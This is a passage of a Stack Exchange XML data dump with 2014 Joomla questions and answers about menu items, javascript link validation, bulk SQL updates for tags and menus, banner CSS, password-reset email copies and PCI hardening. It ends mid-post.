  <row Id="4322" PostTypeId="1" AcceptedAnswerId="4323" CreationDate="2014-09-03T17:24:39.357" Score="5" ViewCount="5689" Body="&lt;p&gt;I often create a menu item with no link (like a not-clickable menu item with a dropdown menu), but in the &quot;System Links&quot; tab, there are several options that look similar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aR1Fy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference between using &lt;strong&gt;Menu Heading&lt;/strong&gt;, &lt;strong&gt;Text Separator&lt;/strong&gt; and an &lt;strong&gt;External URL pointing to linked to &quot;#&quot;&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-03T17:24:39.357" Title="Menu item without link" Tags="|joomla-3.x|menu-item|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4323" PostTypeId="2" ParentId="4322" CreationDate="2014-09-03T17:24:39.357" Score="9" Body="&lt;p&gt;The main difference is how the HTML is rendered. Thus it depends on the template what the menu items look like. This is how the default Protostar template will display the different options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZS2n.jpg&quot; alt=&quot;Protostar template menu options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;External URL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The default HTML output of the menu item is a link.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;item-120&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;External URL menu item&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is exactly the same as any other &quot;normal&quot; menu item:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Meny Heading Item&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This will create the following HTML code for your menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;item-121&quot;&amp;gt;&amp;lt;span class=&quot;nav-header&quot;&amp;gt;Menu Heading item&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Text separator&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The default HTML output of the text separator is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;item-122 divider&quot;&amp;gt;&amp;lt;span class=&quot;separator&quot;&amp;gt;Text Separator item&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Notice the additional &lt;em&gt;divider&lt;/em&gt; class in the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Other templates&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Many templates will override the default rendering, and give different results. This is how the same menu items looks in a template from &lt;a href=&quot;http://joomla51.com&quot;&gt;Joomla51.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0rfoe.jpg&quot; alt=&quot;Menu items in J51 template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML output of the same menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;item-120&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; tabindex=&quot;-1&quot; class=&quot;subMenuBtn&quot;&amp;gt;External URL menu item&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-121&quot;&amp;gt;&amp;lt;a href=&quot;/&quot; tabindex=&quot;-1&quot; class=&quot;subMenuBtn&quot;&amp;gt;Menu Heading item&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-122&quot;&amp;gt;&amp;lt;a tabindex=&quot;-1&quot; class=&quot;subMenuBtn&quot;&amp;gt;Text Separator item&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how all menu items look the same. This is also the case with other template clubs, like RocketTheme (although the source code is different, the three items look the same).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-03T17:24:39.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4324" PostTypeId="1" AcceptedAnswerId="4325" CreationDate="2014-09-03T17:48:42.397" Score="7" ViewCount="2127" Body="&lt;p&gt;While writing a post on &lt;a href=&quot;https://joomla.stackexchange.com/questions/4322/menu-item-without-link&quot;&gt;menu items without an actual link&lt;/a&gt;, I stumbled upon a strange behavior in Joomla 3.3.3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to point out that an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag linking to &lt;code&gt;&quot;#&quot;&lt;/code&gt; might cause the page to scroll to the top when clicked, and that it might be better to use &lt;code&gt;javascript:void();&lt;/code&gt; in the link field for the &lt;code&gt;External URL&lt;/code&gt; menu item. (&lt;a href=&quot;http://paintincode.blogspot.com/2012/03/dont-use-to-create-empty-links.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; explains why.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to do this myself, but now I discovered that in Joomla 3.3.3, it refuses to save if the link field contains &lt;code&gt;javascript:void();&lt;/code&gt;. Take a look at this screenshot (before and after hitting the &quot;Save&quot; button):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8knT.jpg&quot; alt=&quot;Before and after Save&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested it on an older Joomla version (3.0.3), and I could still use &lt;code&gt;javascript:void();&lt;/code&gt; in the link field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug in newer versions of Joomla, or was it decided that linking to javascript is not allowed anymore, somewhere between J3.0.3 and J.3.3.3?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-23T03:25:25.510" Title="Unable to create external link to javascript:void();" Tags="|joomla-3.x|joomla-3.3.x|menu-item|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4325" PostTypeId="2" ParentId="4324" CreationDate="2014-09-03T19:18:32.913" Score="6" Body="&lt;p&gt;It was actually a bug that it worked (or to be more specific a security issue). The current behaviour is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/actio/?action=TrackerItemEdit&amp;amp;tracker_item_id=32572&amp;amp;start=7925&quot; rel=&quot;nofollow noreferrer&quot;&gt;Menu item type of External URL can not be saved with javascript:void()&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/20313017/how-to-let-menu-item-execute-javascript-in-joomla-3-2&quot;&gt;How to let menu item execute Javascript in Joomla 3.2?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-09-03T19:18:32.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4326" PostTypeId="2" ParentId="4313" CreationDate="2014-09-03T20:22:42.570" Score="2" Body="&lt;p&gt;Use this at your own risk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE jos_menu SET params = CONCAT('{&quot;show_title&quot;:&quot;&quot;,&quot;link_titles&quot;:&quot;&quot;,&quot;show_intro&quot;:&quot;&quot;,&quot;info_block_position&quot;:&quot;&quot;,&quot;show_category&quot;:&quot;&quot;,&quot;link_category&quot;:&quot;&quot;,&quot;show_parent_category&quot;:&quot;&quot;,&quot;link_parent_category&quot;:&quot;&quot;,&quot;show_author&quot;:&quot;&quot;,&quot;link_author&quot;:&quot;&quot;,&quot;show_create_date&quot;:&quot;&quot;,&quot;show_modify_date&quot;:&quot;&quot;,&quot;show_publish_date&quot;:&quot;&quot;,&quot;show_item_navigation&quot;:&quot;&quot;,&quot;show_vote&quot;:&quot;&quot;,&quot;show_icons&quot;:&quot;&quot;,&quot;show_print_icon&quot;:&quot;&quot;,&quot;show_email_icon&quot;:&quot;&quot;,&quot;show_hits&quot;:&quot;&quot;,&quot;show_tags&quot;:&quot;&quot;,&quot;show_noauth&quot;:&quot;&quot;,&quot;urls_position&quot;:&quot;&quot;,', SUBSTR(params, POSITION('&quot;menu-anchor_title&quot;' IN params))) WHERE `link` like &quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=%&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;jos&lt;/code&gt; with your Joomla table prefix.&lt;/li&gt;&#xA;&lt;li&gt;As FFrewin said, &quot;Don't try this on a live website - and always have a backup of the database, before operating mass updates directly on it.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The query worked on a Joomla 3.3.3 test environment.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-03T21:50:35.300" LastActivityDate="2014-09-03T21:50:35.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4327" PostTypeId="2" ParentId="4309" CreationDate="2014-09-04T08:17:59.057" Score="2" Body="&lt;p&gt;There are a couple of queries that you need to execute. &lt;strong&gt;Please use these queries first on a test environment.&lt;/strong&gt; There is an idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Query 1: Select the id of the tag */ &#xA;SELECT id FROM `#__k2_tags` WHERE `name` = 'mercedes' LIMIT 1;&#xA;&#xA;/* Query 2: If previous query returned null, create a new tag */&#xA;INSERT INTO `#__k2_tags`&#xA;SET `name` = 'mercedes',&#xA;`published` = 1;&#xA;&#xA;/* Query 3: Use this to get the last id or use id from Query 1 */&#xA;SELECT LAST_INSERT_ID();&#xA;&#xA;/* Query 4: Insert tags for each article that contains in the title the word mercedes */&#xA;INSERT INTO `#__k2_tags_xref` (`tagID`,`itemID`)&#xA;(&#xA;    SELECT DISTINCT 'YOUR_TAG_ID', i.id&#xA;    FROM `#__k2_items` AS i&#xA;    WHERE LOCATE('mercedes', title) &amp;gt; 0&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="12352" LastEditDate="2019-02-03T12:14:50.833" LastActivityDate="2019-02-03T12:14:50.833" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4329" PostTypeId="1" CreationDate="2014-09-04T10:15:46.343" Score="0" ViewCount="1234" Body="&lt;p&gt;I am using JA Teline IV template and Joomla 3.3.3. I want to change the header banner size to 728x90. But when I add a banner with this size, it is cut of at the right side. How can I solve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not familiar with programming. I want to put my AdSense banner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the template with a 460px banner: &lt;a href=&quot;http://www.joomlart.com/demo/#ja_teline_iv&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlart.com/demo/#ja_teline_iv&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1858" LastEditorUserId="1629" LastEditDate="2014-09-04T21:55:46.427" LastActivityDate="2014-10-04T22:39:18.590" Title="Change Banner Size in header - JA Teline IV template" Tags="|joomla-3.x|templates|fix-my-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4330" PostTypeId="1" AcceptedAnswerId="4338" CreationDate="2014-09-04T10:22:23.523" Score="4" ViewCount="501" Body="&lt;p&gt;I have a page blocked by a login module, and I have the &quot;Forgot my password&quot; link etc ..&#xA;I want to send a copy of the send e-mail to an other email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example. User1 lost his password, he click on the &quot;Forgot my password&quot; link, so he receive an mail with a token .. But I want to receive it too, How can I do this ? Is there an option in the module ? &#xA;Thank you :) &lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2014-09-05T09:10:04.807" Title="Send a copy of an e-mail" Tags="|joomla-2.5|login|emails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4331" PostTypeId="2" ParentId="4329" CreationDate="2014-09-04T10:37:50.090" Score="1" Body="&lt;p&gt;Try adding this CSS code to your custom.css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.custom.ads {&#xA;  width: 728px;&#xA;  height: 90px;&#xA;  float: right;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;custom.css&lt;/code&gt; file is located in: templates/YOURTEMPLATE/css . If you don't see the file, create new file then open that file to add CSS to style for your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/InBIa.jpg&quot; alt=&quot;JoomlArt banner resize&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-04T10:37:50.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4332" PostTypeId="2" ParentId="4324" CreationDate="2014-09-04T10:58:23.690" Score="3" Body="&lt;p&gt;As an addition to Valentin's answer, &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/actio/?action=TrackerItemEdit&amp;amp;tracker_item_id=32572&amp;amp;start=7925&quot; rel=&quot;nofollow&quot;&gt;this is how to add javascript code&lt;/a&gt; to a menu item:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a custom link menu item&lt;/li&gt;&#xA;&lt;li&gt;Add  &lt;code&gt;#&lt;/code&gt; in the link field&lt;/li&gt;&#xA;&lt;li&gt;Handle the click event by adding javascript elsewhere on the page (e.g. in the footer).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){   &#xA;  $(&quot;.menuitemclass&quot;).click(function () {&#xA;    //your javascript function;     &#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-04-23T03:25:25.510" LastActivityDate="2015-04-23T03:25:25.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4333" PostTypeId="1" AcceptedAnswerId="4337" CreationDate="2014-09-04T11:32:13.433" Score="2" ViewCount="587" Body="&lt;p&gt;I was wondering if it's possible to upload a list of tags to the database in bulk, and if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to upload a few hundred tags (all years &lt;code&gt;1901&lt;/code&gt;, &lt;code&gt;1902&lt;/code&gt;, &lt;code&gt;1903&lt;/code&gt; etc...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to do this is because I need to be able to &lt;strong&gt;tag&lt;/strong&gt; images with a specific year, and by clicking on the 'year' tag I should then be shown all images from that year. The problem is the website is a historical-based on so some of the images date back hundreds of years!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would rather not edit the database without knowing firstly if it's possible, and secondly what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any other solutions I am open to suggestion, however this one seems easiest to me.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-09-16T12:12:28.113" Title="Uploading Tags In Bulk" Tags="|database|tags|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4334" PostTypeId="1" AcceptedAnswerId="4335" CreationDate="2014-09-04T12:28:21.667" Score="3" ViewCount="696" Body="&lt;p&gt;I was hoping somebody could explain this to me as I cannot seem to get my head around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a website with numerous articles and categories, all displayed at mydomain.com/blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My homepage (mydomain.com) is set to &lt;code&gt;Articles » Category Blog&lt;/code&gt;, and set to show one single article from the category &lt;code&gt;'Front Page'&lt;/code&gt;. The problem is that whenever I click to read more about the article, it does infact show me more but stays on the homepage, i.e with all the various modules still in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to create a hidden menu and set this as my homepage, or am I way off? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to be able to click an article title on my homepage and be taken to a new, fresh page displaying only that article. I know it's possible to use &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt; aswell, but I don't think it's necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this must be pretty basic stuff, but I'd like to understand it better.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-04T13:10:17.830" Title="Articles With No Menu Item" Tags="|articles|menu-item|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4335" PostTypeId="2" ParentId="4334" CreationDate="2014-09-04T13:10:17.830" Score="1" Body="&lt;p&gt;I would suggest some organizational restructure like below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using a special Category named: &quot;Front Page&quot;, use the &quot;&lt;strong&gt;Featured Articles&lt;/strong&gt;&quot; option, to specify which articles you consider to appear in the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then assign your blog articles to their relative context category and not to a special one for the front-page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the blog, you can either use a &lt;strong&gt;Category Blog Layout&lt;/strong&gt; item using the parent Blog category, and set it to display articles from all child categories, or if you like you could even create a hidden menu with &lt;strong&gt;Blog Category Layout&lt;/strong&gt; menu-type for each blog-articles category you have. This will make your articles being displayed under the menu item of each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Front Page, use the &lt;strong&gt;Featured Articles&lt;/strong&gt; menu-type, and choose the categories from which you want it to show featured articles and set it to display 1 leading article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it makes sense - let me know if you need further clarification.&#xA;It would also help, if you present your current articles organization structure (categories and child categories).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-09-04T13:10:17.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4336" PostTypeId="2" ParentId="4330" CreationDate="2014-09-04T13:21:25.353" Score="0" Body="&lt;p&gt;One option is to use something like CMandrill to send all messages through the Mandrill service (free for the first 12,000 messages). Doing it this way lets you view bounces, opens, copies of messages, etc. It won't email you a copy, but it will let you view EVERYTHING going out of the site.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sign up for &lt;a href=&quot;http://Mandrillapp.com&quot; rel=&quot;nofollow&quot;&gt;Mandrill at Mandrillapp.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Install the &lt;a href=&quot;http://extensions.joomla.org/extensions/marketing/mailing-a-distribution-lists/20624&quot; rel=&quot;nofollow&quot;&gt;CMandrill extension&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Configure CMandrill in your site and enter the API code from Mandrill.com&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's probably another way to do what you're asking, but I wanted to post this as an option in case it interests someone. Feel free to not check it off as the approved answer if someone posts a better one :)&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-09-04T13:21:25.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4337" PostTypeId="2" ParentId="4333" CreationDate="2014-09-04T13:27:21.873" Score="2" Body="&lt;p&gt;There is no import option for the Tags component. This will make a such import directly into the database a tough process, as you will have to take into consideration all the fields of the table for each row.&#xA;An insert statement for each row would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `cpxns_tags` (`id`, `parent_id`, `lft`, `rgt`, `level`, `path`, `title`, `alias`, `note`, `description`, `published`, `checked_out`, `checked_out_time`, `access`, `params`, `metadesc`, `metakey`, `metadata`, `created_user_id`, `created_time`, `created_by_alias`, `modified_user_id`, `modified_time`, `images`, `urls`, `hits`, `language`, `version`, `publish_up`, `publish_down`)&#xA;    VALUES&#xA;        (4, 1, 3, 4, 1, '1910', '1910', X'31393130', '', '', 1, 0, '0000-00-00 00:00:00', 1, '{\&quot;tag_layout\&quot;:\&quot;\&quot;,\&quot;tag_link_class\&quot;:\&quot;label label-info\&quot;,\&quot;image_intro\&quot;:\&quot;\&quot;,\&quot;float_intro\&quot;:\&quot;\&quot;,\&quot;image_intro_alt\&quot;:\&quot;\&quot;,\&quot;image_intro_caption\&quot;:\&quot;\&quot;,\&quot;image_fulltext\&quot;:\&quot;\&quot;,\&quot;float_fulltext\&quot;:\&quot;\&quot;,\&quot;image_fulltext_alt\&quot;:\&quot;\&quot;,\&quot;image_fulltext_caption\&quot;:\&quot;\&quot;}', '', '', '{\&quot;author\&quot;:\&quot;\&quot;,\&quot;robots\&quot;:\&quot;\&quot;}', 441, '2014-09-04 13:17:21', '', 0, '0000-00-00 00:00:00', '', '', 0, '*', 1, '0000-00-00 00:00:00', '0000-00-00 00:00:00');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which requires a lot of manual writing. In addition, Tags are using the &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2317/unexpected-parent-tag-association?rq=1&quot;&gt;Nested Set Model&lt;/a&gt;&lt;/strong&gt; to build parents-childs associations and this requires a lot of calculations in order to find the right values for the relative fields. Batch processing or re-saving of Tags has not been proved to fix these issues for tags component and ACL manager (3rd party extension) does not deal with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless there is another script that will deal with all the above and let you batch import a file with tags, then your best chance is to create them manually from the backend, or during content creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are my first thoughts on this, but maybe someone has another better idea/suggestion...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-12T08:34:25.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4338" PostTypeId="2" ParentId="4330" CreationDate="2014-09-05T09:10:04.807" Score="2" Body="&lt;p&gt;I've had a look and you may want to check out the following files;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root/lib/components/com_users/models/remind.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root/lib/components/com_users/models/reset.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should be able to add your own email in as a CC there, with something like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$mailer-&amp;gt;addCC(&quot;carboncopy@yourdomain.com&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although according to the &lt;a href=&quot;http://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; if there are multiple recipients, you would put each recipient's email address in an array, as below;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipient = array( 'person1@domain.com', 'person2@domain.com', 'person3@domain.com' );&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; shows you how to send an email from a component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must say I haven't had the chance to try this although I can't imagine it's very difficult, perhaps somebody else can help you with the rest of the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this points you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-05T09:10:04.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4339" PostTypeId="1" AcceptedAnswerId="4497" CreationDate="2014-09-05T13:35:33.563" Score="1" ViewCount="202" Body="&lt;p&gt;We recently had one of our many Joomla websites fail a PCI compliance test, and our network folks are now telling us that we must &quot;disable file_get_contents&quot;.  As best as I can tell, it would be about the same as disabling PHP in terms of the effect that it would have on a Joomla site.  I speak network-ese as well as my high school french, so can't come up with any viable alternatives, aside from suggesting permission changes to Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running WAMP and XAMPP on our Windows servers (depending on how old the site is as we gradually get them all from 1.5 to 3.x).  We have RSFirewall installed on all/most sites, as well as mod_security and various htaccess settings, but apparently that didn't stop the test from gaining access to files that they shouldn't have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a minimal, or &quot;safest&quot;, set of permissions/settings that are Joomla-friendly which I can suggest to them that might limit the reach of &lt;code&gt;file_get_contents&lt;/code&gt; as an alternative to simply disabling it altogether?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-19T02:38:47.387" Title="Optimal Apache Permissions for a Joomla website for PCI Compliance" Tags="|security|.htaccess-configuration|apache|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4340" PostTypeId="1" CreationDate="2014-09-05T18:17:28.980" Score="1" ViewCount="2038" Body="&lt;p&gt;I've inherited a site, however whenever I try to create a new Article or Module by pressing new. The page just reloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3: .1.1 | PHP Version :5.4.26 - front end works fine, not seeing any visible php errors in admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very lost on how to fix, any assistance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastEditorUserId="1629" LastEditDate="2014-09-05T20:29:09.080" LastActivityDate="2014-11-20T21:04:00.800" Title="Can't create new Article &amp; Modules - page just reloads" Tags="|joomla-3.x|articles|error-handling|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4341" PostTypeId="1" AcceptedAnswerId="4342" CreationDate="2014-09-05T18:58:24.910" Score="1" ViewCount="213" Body="&lt;p&gt;How to disable backend modules such as &lt;strong&gt;LOGGED-IN USERS&lt;/strong&gt; or  &lt;strong&gt;RSFIREWALL! CONTROL PANEL MODULE&lt;/strong&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2014-09-09T20:57:21.860" Title="Disable backend modules" Tags="|module|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4342" PostTypeId="2" ParentId="4341" CreationDate="2014-09-05T19:00:34.970" Score="3" Body="&lt;p&gt;You need to go in module manager. By default it shows the Site Modules, you need to filter to show the Administrator modules. You can disable them like the Site modules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kY8kD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware though to not hide any useful modules, like the Admin Menu, which might make you suffer then to navigate and find your way back to the module manager to re-enable it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-09-09T20:57:21.860" LastActivityDate="2014-09-09T20:57:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4343" PostTypeId="1" CreationDate="2014-09-05T19:42:44.177" Score="6" ViewCount="253" Body="&lt;p&gt;We have our articles organized as shown below - the main Producers category has a subcategory for each Producer, which then has a category for each of their Programs.  I've been tinkering with the dozens of options in a Joomla Category List, to list all the grandchild categories of a given category, but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My inclination is to add a new view and related MVC files to &lt;code&gt;com_content&lt;/code&gt;, but that doesn't seem like a good idea, nor do I know how the installation package would do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, i'd like a page that displays all the &lt;em&gt;categories&lt;/em&gt; (not articles) that are &lt;em&gt;grandchild&lt;/em&gt; categories of Producers.  I'm pretty sure that the core content component doesn't handle this, so am looking for some &quot;best practice&quot; approach, or perhaps a known extension that might do the trick.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Producers (category)&#xA;  -&amp;gt; John Doe (child category)&#xA;      -&amp;gt; Program1 Name (grandchild category)&#xA;             -&amp;gt; Article for Episode 1-1&#xA;             -&amp;gt; Article for Episode 1-2&#xA;             -&amp;gt; Article for Episode 1-3&#xA;      -&amp;gt; Program2 Name (grandchild category)&#xA;             -&amp;gt; Article for Episode 2-1&#xA;             -&amp;gt; Article for Episode 2-2&#xA;  -&amp;gt; Mary Smith (child category)&#xA;      -&amp;gt; Program87 Name (grandchild category)&#xA;             -&amp;gt; Article for Episode 87-1&#xA;     